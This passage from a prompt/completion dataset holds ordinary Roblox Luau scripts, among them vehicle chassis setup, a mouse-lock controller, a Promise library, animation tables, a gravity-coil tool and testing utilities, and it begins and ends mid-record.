car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90))\n\tend\n\tv.CFrame = v.CFrame+tPos\n\t\n\tif v:FindFirstChild(\"Parts\")~=nil then\n\t\tfor _,a in pairs(v.Parts:GetChildren()) do\n\t\t\tif a:IsA(\"BasePart\") then\n\t\t\t\ttable.insert(WParts, {a,v.CFrame:toObjectSpace(a.CFrame)})\n\t\t\tend\n\t\tend\n\tend\n\tif v:FindFirstChild(\"Fixed\")~=nil then\n\t\tfor _,a in pairs(v.Fixed:GetChildren()) do\n\t\t\tif a:IsA(\"BasePart\") then\n\t\t\t\ttable.insert(WParts, {a,v.CFrame:toObjectSpace(a.CFrame)})\n\t\t\tend\t\t\t\n\t\tend\n\tend\n\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),0,0)\n\t\tif v.Name==\"FL\" then\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.FCaster),math.rad(_Tune.FToe))\n\t\telse\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.FCaster),math.rad(-_Tune.FToe))\n\t\tend\n\telse\n\t\tv.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),0,0)\n\t\tif v.Name==\"RL\" then\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.RCaster),math.rad(_Tune.RToe))\n\t\telse\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.RCaster),math.rad(-_Tune.RToe))\n\t\tend\n\tend\n\t\n\t\n\tfor _,a in pairs(WParts) do\n\t\ta[1].CFrame=v.CFrame:toWorldSpace(a[2])\n\tend\n\t\n\tlocal arm=Instance.new(\"Part\",v)\n\tarm.Name=\"Arm\"\n\tarm.Anchored=true\n\tarm.CanCollide=false\n\tarm.FormFactor=Enum.FormFactor.Custom\n\tarm.Size=Vector3.new(1,1,1)\n\tarm.CFrame=v.CFrame*CFrame.Angles(-math.pi/2,-math.pi/2,0)\n\tarm.TopSurface=Enum.SurfaceType.Smooth\n\tarm.BottomSurface=Enum.SurfaceType.Smooth\n\tarm.Transparency=1\n\t\n\tlocal base=arm:Clone()\n\tbase.Parent=v\n\tbase.Name=\"Base\"\n\tbase.CFrame=base.CFrame*CFrame.new(0,1,0)\n\tbase.BottomSurface=Enum.SurfaceType.Hinge\n\t\n\tlocal axle=arm:Clone()\n\taxle.Parent=v\n\taxle.Name=\"Axle\"\n\taxle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)\n\taxle.BackSurface=Enum.SurfaceType.Hinge\n\tMakeWeld(car.DriveSeat,base,\"Weld\")--\n\tif v.Parent.Name == \"RL\" or v.Parent.Name == \"RR\" then\n\t\tMakeWeld(car.DriveSeat,arm,\"Weld\")--\n\tend\n\t\n\tMakeWeld(arm,axle,\"Weld\")\n\t\n\tarm:MakeJoints()\n\taxle:MakeJoints()\n\t\n\tif v:FindFirstChild(\"Fixed\")~=nil then\n\t\tModelWeld(v.Fixed,axle)\n\tend\n\t\n\tif v:FindFirstChild(\"Parts\")~=nil then\n\t\tModelWeld(v.Parts,v)\n\tend\n\t\n\tif v:FindFirstChild(\"Steer\") then\n\t\tv:FindFirstChild(\"Steer\"):Destroy()\n\tend\n\t\n\tlocal gyro=Instance.new(\"BodyGyro\",v)\n\tgyro.Name=\"Stabilizer\"\n\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\tgyro.D=_Tune.FGyroD\n\t\tgyro.MaxTorque=_Tune.FGyroMaxTorque\n\t\tgyro.P=_Tune.FGyroP\n\telse\n\t\tgyro.D=_Tune.RGyroD\n\t\tgyro.MaxTorque=_Tune.RGyroMaxTorque\n\t\tgyro.P=_Tune.RGyroP\n\tend\n\t\n\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\tlocal steer=Instance.new(\"BodyGyro\",arm)\n\t\tsteer.Name=\"Steer\"\n\t\tsteer.P=100000\n\t\tsteer.D=1000\n\t\tsteer.MaxTorque=Vector3.new(0,50000,0)\n\t\tsteer.cframe=base.CFrame\n\telse\n\t\tMakeWeld(base,axle,\"Weld\")\n\tend\n\t\n\tlocal AV=Instance.new(\"BodyAngularVelocity\",v)\n\tAV.Name=\"#AV\"\n\tAV.angularvelocity=Vector3.new(0,0,0)\n\tAV.maxTorque=Vector3.new(0,0,0)\n\tAV.P=100000\nend\n\nfor i,v in pairs(script:GetChildren()) do\n\tif v:IsA(\"ModuleScript\") then\n\t\trequire(v)\n\tend\nend\n\nwait()\nModelWeld(car.Body,car.DriveSeat)\n\nlocal flipG = Instance.new(\"BodyGyro\",car.DriveSeat)\nflipG.Name = \"Flip\"\nflipG.D = 0\nflipG.MaxTorque = Vector3.new(0,0,0)\nflipG.P = 0\n\nwait()\n\nUnAnchor(car)\n\nscript.Parent[\"A-Chassis Interface\"].Car.Value=car\nfor i,v in pairs(script.Parent.Plugins:GetChildren()) do\n\tv.Parent = script.Parent[\"A-Chassis Interface\"]\nend\nscript.Parent.Plugins:Destroy()\n\ncar.DriveSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tlocal p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\tcar.DriveSeat:SetNetworkOwner(p)\n\t\tlocal g=script.Parent[\"A-Chassis Interface\"]:Clone()\n\t\tg.Parent=p.PlayerGui\n\t\tcar.DriveSeat.Rev:Play()\n\tend\nend)\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then\n\t\tfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\t\t\tif v:IsA(\"Sound\") then v:Stop() end\n\t\tend\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v:FindFirstChild(\"#AV\")~=nil then\n\t\t\t\tif v[\"#AV\"].AngularVelocity.Magnitude>0 then\n\t\t\t\t\tv[\"#AV\"].AngularVelocity = Vector3.new()\n\t\t\t\t\tv[\"#AV\"].MaxTorque = Vector3.new()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then\n\t\tredline=.5\n\telse\n\t\tredline=1\n\tend\n\tif not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end\n\tlocal Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)\n\tif FE then\n\t\thandler:FireServer(\"updateSound\",\"Rev\",script.Rev.SoundId,Pitch,script.Rev.Volume)\n\telse\n\t\tcar.TruckSeat.Rev.Pitch = Pitch\n\tend\nend\n"} +{"prompt": "-- weaponTemplate : inherits weaponBase\n-- Description : This template is used to easily create new weapons.", "completion": "\nlocal timer = require(game:GetService(\"ReplicatedStorage\").Libs.Timer)\nlocal bullet = require(game:GetService(\"ReplicatedStorage\").Weapons.Projectiles.Bullet)\nlocal tweenService = game:GetService(\"TweenService\")\n\nlocal currency = nil\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal MouseLockController = {}\nMouseLockController.__index = MouseLockController\n\nfunction MouseLockController.new()\n\tlocal self = setmetatable({}, MouseLockController)\n\n\tself.isMouseLocked = false\n\tself.savedMouseCursor = nil\n\tself.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults\n\n\tself.mouseLockToggledEvent = Instance.new(\"BindableEvent\")\n\n\tlocal boundKeysObj: StringValue = script:FindFirstChild(\"BoundKeys\") :: StringValue\n\tif (not boundKeysObj) or (not boundKeysObj:IsA(\"StringValue\")) then\n\t\t-- If object with correct name was found, but it's not a StringValue, destroy and replace\n\t\tif boundKeysObj then\n\t\t\tboundKeysObj:Destroy()\n\t\tend\n\n\t\tboundKeysObj = Instance.new(\"StringValue\")\n\t\tboundKeysObj.Name = \"BoundKeys\"\n\t\tboundKeysObj.Value = \"LeftShift,RightShift\"\n\t\tboundKeysObj.Parent = script\n\tend\n\n\tif boundKeysObj then\n\t\tboundKeysObj.Changed:Connect(function(value)\n\t\t\tself:OnBoundKeysObjectChanged(value)\n\t\tend)\n\t\tself:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call\n\tend\n\n\t-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly\n\tGameSettings.Changed:Connect(function(property)\n\t\tif property == \"ControlMode\" or property == \"ComputerMovementMode\" then\n\t\t\tself:UpdateMouseLockAvailability()\n\t\tend\n\tend)\n\n\t-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly\n\tPlayersService.LocalPlayer:GetPropertyChangedSignal(\"DevEnableMouseLock\"):Connect(function()\n\t\tself:UpdateMouseLockAvailability()\n\tend)\n\n\t-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly\n\tPlayersService.LocalPlayer:GetPropertyChangedSignal(\"DevComputerMovementMode\"):Connect(function()\n\t\tself:UpdateMouseLockAvailability()\n\tend)\n\n\tself:UpdateMouseLockAvailability()\n\n\treturn self\nend\n\nfunction MouseLockController:GetIsMouseLocked()\n\treturn self.isMouseLocked\nend\n\nfunction MouseLockController:GetBindableToggleEvent()\n\treturn self.mouseLockToggledEvent.Event\nend\n\nfunction MouseLockController:GetMouseLockOffset()\n\tlocal offsetValueObj: Vector3Value = script:FindFirstChild(\"CameraOffset\") :: Vector3Value\n\tif offsetValueObj and offsetValueObj:IsA(\"Vector3Value\") then\n\t\treturn offsetValueObj.Value\n\telse\n\t\t-- If CameraOffset object was found but not correct type, destroy\n\t\tif offsetValueObj then\n\t\t\toffsetValueObj:Destroy()\n\t\tend\n\t\toffsetValueObj = Instance.new(\"Vector3Value\")\n\t\toffsetValueObj.Name = \"CameraOffset\"\n\t\toffsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value\n\t\toffsetValueObj.Parent = script\n\tend\n\n\tif offsetValueObj and offsetValueObj.Value then\n\t\treturn offsetValueObj.Value\n\tend\n\n\treturn Vector3.new(1.75,0,0)\nend\n\nfunction MouseLockController:UpdateMouseLockAvailability()\n\tlocal devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock\n\tlocal devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable\n\tlocal userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch\n\tlocal userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove\n\tlocal MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable\n\n\tif MouseLockAvailable~=self.enabled then\n\t\tself:EnableMouseLock(MouseLockAvailable)\n\tend\nend\n\nfunction MouseLockController:OnBoundKeysObjectChanged(newValue: string)\n\tself.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is \"\" or contains invalid values\n\tfor token in string.gmatch(newValue,\"[^%s,]+\") do\n\t\tfor _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do\n\t\t\tif token == keyEnum.Name then\n\t\t\t\tself.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\tself:UnbindContextActions()\n\tself:BindContextActions()\nend\n"} +{"prompt": "--[[\n\tIntended for use in tests.\n\n\tSimilar to await(), but instead of yielding if the promise is unresolved,\n\t_unwrap will throw. This indicates an assumption that a promise has\n\tresolved.\n]]", "completion": "\nfunction Promise.prototype:_unwrap()\n\tif self._status == Promise.Status.Started then\n\t\terror(\"Promise has not resolved or rejected.\", 2)\n\tend\n\n\tlocal success = self._status == Promise.Status.Resolved\n\n\treturn success, unpack(self._values, 1, self._valuesLength)\nend\n\nfunction Promise.prototype:_resolve(...)\n\tif self._status ~= Promise.Status.Started then\n\t\tif Promise.is((...)) then\n\t\t\t(...):_consumerCancelled(self)\n\t\tend\n\t\treturn\n\tend\n\n\t-- If the resolved value was a Promise, we chain onto it!\n\tif Promise.is((...)) then\n\t\t-- Without this warning, arguments sometimes mysteriously disappear\n\t\tif select(\"#\", ...) > 1 then\n\t\t\tlocal message = string.format(\n\t\t\t\t\"When returning a Promise from andThen, extra arguments are \" .. \"discarded! See:\\n\\n%s\",\n\t\t\t\tself._source\n\t\t\t)\n\t\t\twarn(message)\n\t\tend\n\n\t\tlocal chainedPromise = ...\n\n\t\tlocal promise = chainedPromise:andThen(function(...)\n\t\t\tself:_resolve(...)\n\t\tend, function(...)\n\t\t\tlocal maybeRuntimeError = chainedPromise._values[1]\n\n\t\t\t-- Backwards compatibility < v2\n\t\t\tif chainedPromise._error then\n\t\t\t\tmaybeRuntimeError = Error.new({\n\t\t\t\t\terror = chainedPromise._error,\n\t\t\t\t\tkind = Error.Kind.ExecutionError,\n\t\t\t\t\tcontext = \"[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]\",\n\t\t\t\t})\n\t\t\tend\n\n\t\t\tif Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then\n\t\t\t\treturn self:_reject(maybeRuntimeError:extend({\n\t\t\t\t\terror = \"This Promise was chained to a Promise that errored.\",\n\t\t\t\t\ttrace = \"\",\n\t\t\t\t\tcontext = string.format(\n\t\t\t\t\t\t\"The Promise at:\\n\\n%s\\n...Rejected because it was chained to the following Promise, which encountered an error:\\n\",\n\t\t\t\t\t\tself._source\n\t\t\t\t\t),\n\t\t\t\t}))\n\t\t\tend\n\n\t\t\tself:_reject(...)\n\t\tend)\n\n\t\tif promise._status == Promise.Status.Cancelled then\n\t\t\tself:cancel()\n\t\telseif promise._status == Promise.Status.Started then\n\t\t\t-- Adopt ourselves into promise for cancellation propagation.\n\t\t\tself._parent = promise\n\t\t\tpromise._consumers[self] = true\n\t\tend\n\n\t\treturn\n\tend\n\n\tself._status = Promise.Status.Resolved\n\tself._valuesLength, self._values = pack(...)\n\n\t-- We assume that these callbacks will not throw errors.\n\tfor _, callback in ipairs(self._queuedResolve) do\n\t\tcoroutine.wrap(callback)(...)\n\tend\n\n\tself:_finalize()\nend\n\nfunction Promise.prototype:_reject(...)\n\tif self._status ~= Promise.Status.Started then\n\t\treturn\n\tend\n\n\tself._status = Promise.Status.Rejected\n\tself._valuesLength, self._values = pack(...)\n\n\t-- If there are any rejection handlers, call those!\n\tif not isEmpty(self._queuedReject) then\n\t\t-- We assume that these callbacks will not throw errors.\n\t\tfor _, callback in ipairs(self._queuedReject) do\n\t\t\tcoroutine.wrap(callback)(...)\n\t\tend\n\telse\n\t\t-- At this point, no one was able to observe the error.\n\t\t-- An error handler might still be attached if the error occurred\n\t\t-- synchronously. We'll wait one tick, and if there are still no\n\t\t-- observers, then we should put a message in the console.\n\n\t\tlocal err = tostring((...))\n\n\t\tcoroutine.wrap(function()\n\t\t\tPromise._timeEvent:Wait()\n\n\t\t\t-- Someone observed the error, hooray!\n\t\t\tif not self._unhandledRejection then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t-- Build a reasonable message\n\t\t\tlocal message = string.format(\"Unhandled Promise rejection:\\n\\n%s\\n\\n%s\", err, self._source)\n\n\t\t\tfor _, callback in ipairs(Promise._unhandledRejectionCallbacks) do\n\t\t\t\ttask.spawn(callback, self, unpack(self._values, 1, self._valuesLength))\n\t\t\tend\n\n\t\t\tif Promise.TEST then\n\t\t\t\t-- Don't spam output when we're running tests.\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\twarn(message)\n\t\tend)()\n\tend\n\n\tself:_finalize()\nend\n"} +{"prompt": "--!strict\n--[=[\n @function delete\n @within Set\n\n @param set { [T]: boolean } -- The set to delete from.\n @param ... ...T -- The values to delete.\n @return { [T]: boolean } -- The set with the values deleted.\n\n Deletes values from a set.\n\n Aliases: `subtract`\n\n ```lua\n local set = { hello = true, world = true }\n\n local newSet = Delete(set, \"hello\") -- { world = true }\n ```\n]=]", "completion": "\nlocal function delete(set: { [T]: boolean }, ...: T): { [T]: boolean }\n\tlocal result = {}\n\n\tfor key, _ in pairs(set) do\n\t\tresult[key] = true\n\tend\n\n\tfor _, value in ipairs({ ... }) do\n\t\tresult[value] = nil\n\tend\n\n\treturn result\nend\n\nreturn delete\n"} +{"prompt": "--------------------\n--| Script Logic |--\n--------------------", "completion": "\n\nBaseShot = Instance.new('Part')\nBaseShot.Name = 'Effect'\nBaseShot.FormFactor = Enum.FormFactor.Custom\nBaseShot.Size = Vector3.new(0.2, 0.2, 3)\nBaseShot.CanCollide = false\nBaseShot.BrickColor = BrickColor.new('Really red')\nSelectionBoxify(BaseShot)\nLight(BaseShot)\nHitFadeSound:Clone().Parent = BaseShot\n\nTool.Equipped:connect(OnEquipped)\nTool.Unequipped:connect(OnUnequipped)\nTool.Activated:connect(OnActivated)\n"} +{"prompt": "--[[ Configuration ]]", "completion": "\nlocal ShowPath = true\nlocal PlayFailureAnimation = true\nlocal UseDirectPath = false\nlocal UseDirectPathForVehicle = true\nlocal AgentSizeIncreaseFactor = 1.0\nlocal UnreachableWaypointTimeout = 8\n"} +{"prompt": "--\t", "completion": "\n\tscript.Parent.Handle3.Hinge1.Transparency = 0\n\tscript.Parent.Handle3.Interactive1.Transparency = 0\n\tscript.Parent.Handle3.Part1.Transparency = 0\n\tscript.Parent.Handle1.Flusher.AutoFlush.Disabled = false\n\twait(0.03)\n\tscript.Parent.Handle1.Hinge1.Transparency = 1\n\tscript.Parent.Handle1.Interactive1.Transparency = 1\n\tscript.Parent.Handle1.Part1.Transparency = 1"} +{"prompt": "--[[**\n\tensures value is a number and non-NaN\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.number(value)\n\tlocal valueType = typeof(value)\n\tif valueType == \"number\" then\n\t\tif value == value then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, \"unexpected NaN value\"\n\t\tend\n\telse\n\t\treturn false, string.format(\"number expected, got %s\", valueType)\n\tend\nend\n"} +{"prompt": "--!strict\n-- upstream: https://github.com/facebook/react/blob/42c3c967d1e4ca4731b47866f2090bc34caa086c/packages/shared/invariant.js\n--[[*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n]]", "completion": "\n"} +{"prompt": "--[[\n\tThese keys invert the condition expressed by the Expectation.\n]]", "completion": "\nlocal NEGATION_KEYS = {\n\tnever = true,\n}\n"} +{"prompt": "--\t\t\t\t{ id = \"slash.xml\", weight = 10 } ", "completion": "\n\t\t\t},\n\ttoollunge = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129967478\", weight = 10 } \n\t\t\t},\n\twave = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=128777973\", weight = 10 } \n\t\t\t},\n\tpoint = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=128853357\", weight = 10 } \n\t\t\t},\n\tdance = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182435998\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182491037\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182491065\", weight = 10 } \n\t\t\t},\n\tdance2 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182436842\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182491248\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182491277\", weight = 10 } \n\t\t\t},\n\tdance3 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182436935\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182491368\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=182491423\", weight = 10 } \n\t\t\t},\n\tlaugh = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129423131\", weight = 10 } \n\t\t\t},\n\tcheer = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129423030\", weight = 10 } \n\t\t\t},\n}\n"} +{"prompt": "--[[\n\tCalculates test totals, verifies the tree is valid, and returns results.\n]]", "completion": "\nfunction TestSession:finalize()\n\tif #self.nodeStack ~= 0 then\n\t\terror(\"Cannot finalize TestResults with nodes still on the stack!\", 2)\n\tend\n\n\tself:calculateTotals()\n\tself:gatherErrors()\n\n\treturn self.results\nend\n"} +{"prompt": "-- Whether to allow building outside of private areas", "completion": "\nSecurity.AllowPublicBuilding = true;\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nTool = script.Parent\n\nlocal equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass\nlocal gravity = .18 -- things float at > 1\n\nlocal ghostEffect = nil\nlocal massCon1 = nil\nlocal massCon2 = nil\n\nfunction recursiveGetLift(node)\n\tlocal m = 0\n\tlocal c = node:GetChildren()\n\tfor i=1,#c do\n\t\tif c[i].className == \"Part\" then\n\t\t\tif c[i].Name == \"Handle\" then\n\t\t\t\tm = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height\n\t\t\telse\n\t\t\t\tm = m + (c[i]:GetMass() * equalizingForce * gravity)\n\t\t\tend\n\t\tend\n\t\tm = m + recursiveGetLift(c[i])\n\tend\n\treturn m\nend\n\n\nfunction onMassChanged(child, char)\n\tprint(\"Mass changed:\" .. child.Name .. \" \" .. char.Name)\n\tif (ghostEffect ~= nil) then\n\t\tghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)\n\tend\nend\n\n\n\nfunction UpdateGhostState(isUnequipping)\n\n\tif isUnequipping == true then\n\t\tghostEffect:Remove()\n\t\tghostEffect = nil\n\t\tmassCon1:disconnect()\n\t\tmassCon2:disconnect()\n\telse\n\t\tif ghostEffect == nil then\n\t\t\tlocal char = Tool.Parent\n\t\t\tif char == nil then return end\n\t\t\tghostEffect = Instance.new(\"BodyForce\")\n\t\t\tghostEffect.Name = \"GravityCoilEffect\"\n\t\t\tghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)\n\t\t\tghostEffect.Parent = char.Head\n\t\t\tghostChar = char\n\t\t\tmassCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)\n\t\t\tmassCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)\n\t\tend\n\tend\n\t\n\nend\n\n\n\nfunction onEquipped()\n\tTool.Handle.CoilSound:Play()\n\tUpdateGhostState(false)\nend\n\nfunction onUnequipped()\n\tUpdateGhostState(true)\nend\n\n\nscript.Parent.Equipped:connect(onEquipped)\nscript.Parent.Unequipped:connect(onUnequipped)\n\n\n\n\n"} +{"prompt": "-- Add the Tween Module", "completion": "\nlocal UITween = require(game.ReplicatedStorage.UITweenModule)\nlocal tweenService = game:GetService(\"TweenService\")\n"} +{"prompt": "--function MoveJump()\n--\tFrontLeftHip.DesiredAngle = -0.5\n--\tFrontRightHip.DesiredAngle = 0.5\n--\tBackLeftHip.DesiredAngle = 0.5\n--\tBackRightHip.DesiredAngle = -0.5\n--end\n--\n--function MoveFreeFall()\n--\tFrontLeftHip.DesiredAngle = -0.5\n--\tFrontRightHip.DesiredAngle = 0.5\n--\tBackLeftHip.DesiredAngle = 0.5\n--\tBackRightHip.DesiredAngle = -0.5\n--end\n--\n--function MoveSit()\n--\tFrontLeftHip.DesiredAngle = 0\n--\tFrontRightHip.DesiredAngle = 0\n--\tBackLeftHip.DesiredAngle = 0\n--\tBackRightHip.DesiredAngle = 0\n--end\n--\n--function MoveFly()\n--\tBackLeftHip.DesiredAngle = 0.5\n--\tBackRightHip.DesiredAngle = -0.5\n--\tFrontLeftHip.DesiredAngle = -0.75\n--\tFrontRightHip.DesiredAngle = 0.75\n--end", "completion": "\n\nfunction Move(Time)\n\tlocal LimbAmplitude\n\tlocal LimbFrequency\n\t"} +{"prompt": "-- Load Roblox Occlusion Modules", "completion": "\nlocal Invisicam = require(script:WaitForChild(\"Invisicam\"))\nlocal Poppercam = require(script:WaitForChild(\"Poppercam\"))\n"} +{"prompt": "--[[\n\tCalls a Promise executor with error handling.\n]]", "completion": "\nlocal function runExecutor(traceback, callback, ...)\n\treturn packResult(xpcall(callback, makeErrorHandler(traceback), ...))\nend\n"} +{"prompt": "--[[\n\tCalled by expectation terminators to reset modifiers in a statement.\n\n\tThis makes chains like:\n\n\t\texpect(5)\n\t\t\t.never.to.equal(6)\n\t\t\t.to.equal(5)\n\n\tWork as expected.\n]]", "completion": "\nfunction Expectation:_resetModifiers()\n\tself.successCondition = true\nend\n"} +{"prompt": "--[[ \nThis is a more complicated script but doesn't need any editing. Click to open, click to close.\n]]", "completion": "--\n\n\nfunction onClick()\nif script.Parent.Value.Value == 1 then\nscript.Parent.Mesh.Offset = script.Parent.Mesh.Offset + Vector3.new(-1.5, 0, 0)\nscript.Parent.Value.Value = 0\nelse\nscript.Parent.Transparency = 0.8\nscript.Parent.Value.Value = 1\nscript.Parent.Mesh.Offset = script.Parent.Mesh.Offset + Vector3.new(1.5, 0, 0)\nend\nend\nscript.Parent.ClickDetector.MouseClick:connect(onClick)\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal gui = script.Parent.Parent\n\tlocal ok = gui.Frame.Main.Ok\n\tlocal quest = gui.Frame.Main.Question\n\t\n\tlocal gTable = data.gTable\n\t\n\tquest.Text = data.Message\n\tgTable:Ready()\n\t\n\tlocal alarm=Instance.new('Sound',quest)\n\talarm.Volume=1\n\talarm.Looped=true\n\talarm.SoundId='http://www.roblox.com/asset/?id=138081509'\n\talarm:Play()\n\t\n\tok.MouseButton1Click:connect(function()\n\t\tgui:Destroy()\n\t\talarm:Stop()\n\tend)\n\t\n\tgTable.CustomDestroy = function()\n\t\tgui:Destroy()\n\t\talarm:Stop()\n\tend\nend\n"} +{"prompt": "--- Alias of self:SendEvent(self.Executor, \"AddLine\", text)", "completion": "\nfunction Command:Reply(...)\n\treturn self:SendEvent(self.Executor, \"AddLine\", ...)\nend\n"} +{"prompt": "-- ROBLOX deviation: Lua's patterns work slightly differently than regexes", "completion": "\nlocal BEFORE_SLASH_PATTERN = \"^(.*)[\\\\/]\"\n\nfunction describeComponentFrame(\n\tname: string | nil,\n\tsource: Source | nil,\n\townerName: string | nil\n): string\n\tlocal sourceInfo = \"\"\n\n\tif _G.__DEV__ and source then\n\t\tlocal path = source.fileName\n\t\tlocal fileName = string.gsub(path, BEFORE_SLASH_PATTERN, \"\")\n\n\t\t-- // In DEV, include code for a common special case:\n\t\t-- // prefer \"folder/index.js\" instead of just \"index.js\".\n\t\t-- ROBLOX deviation: instead of having a special case for 'index.',\n\t\t-- we use 'init.'\n\t\tif string.match(fileName, \"^init%.\") then\n\t\t\t-- deviation: finding matching strings works differently in Lua\n\t\t\tlocal pathBeforeSlash = string.match(path, BEFORE_SLASH_PATTERN)\n\n\t\t\tif pathBeforeSlash and #pathBeforeSlash ~= 0 then\n\t\t\t\tlocal folderName = string.gsub(pathBeforeSlash, BEFORE_SLASH_PATTERN, \"\")\n\t\t\t\tfileName = folderName .. \"/\" .. fileName\n\t\t\tend\n\t\tend\n\n\t\tsourceInfo = \" (at \" .. fileName .. \":\" .. source.lineNumber .. \")\"\n\telseif ownerName then\n\t\tsourceInfo = \" (created by \" .. ownerName .. \")\"\n\tend\n\n\treturn \"\\n in \" .. (name or \"Unknown\") .. sourceInfo\nend\n\nlocal function describeClassComponentFrame(\n\t-- ROBLOX deviation: React.Component\n\tctor: any,\n\tsource: nil | Source,\n\t-- ROBLOX deviation: this could be a class component OR a function component\n\towner: nil | ReactComponent\n): string\n\t-- ROBLOX deviation START: In Roact, class components are tables, so we\n\t-- jump directly to using the basic component description.\n\n\t-- if enableComponentStackLocations then\n\t-- \treturn describeNativeComponentFrame(componentClass, true)\n\t-- else\n\t-- \treturn describeFunctionComponentFrame(ctor, source, ownerFn);\n\t-- end\n\tlocal name = tostring(ctor)\n\tlocal ownerName = nil\n\tif _G.__DEV__ and owner then\n\t\townerName = describeOwner(owner)\n\tend\n\treturn describeComponentFrame(name, source, ownerName)\n\t-- ROBLOX deviation END\nend\n\nfunction describeFunctionComponentFrame(\n\t-- ROBLOX TODO: this annotation is incorrect upstream, we fix it here\n\tfn: nil | Function,\n\tsource: nil | Source,\n\t-- ROBLOX deviation: this could be a class component OR a function component\n\townerFn: nil | ReactComponent\n): string\n\t-- ROBLOX DEVIATION Jump directly to using basic component description:\n\t-- if enableComponentStackLocations then\n\t-- \treturn describeNativeComponentFrame(fn, false)\n\t-- else\n\t-- \tif not fn then\n\t-- \t\treturn \"\"\n\t-- \tend\n\t-- \t-- ROBLOX deviation: use debug.info to discover function names\n\t-- \tlocal name = debug.info(fn :: Function, \"n\")\n\t-- \tlocal ownerName = nil\n\t-- \tif _G.__DEV__ and ownerFn then\n\t-- \t\t-- ROBLOX deviation: owner may be a function or a table\n\t-- \t\townerName = describeOwner(ownerFn)\n\t-- \tend\n\t-- \treturn describeComponentFrame(name, source, ownerName)\n\t-- end\n\tif not fn 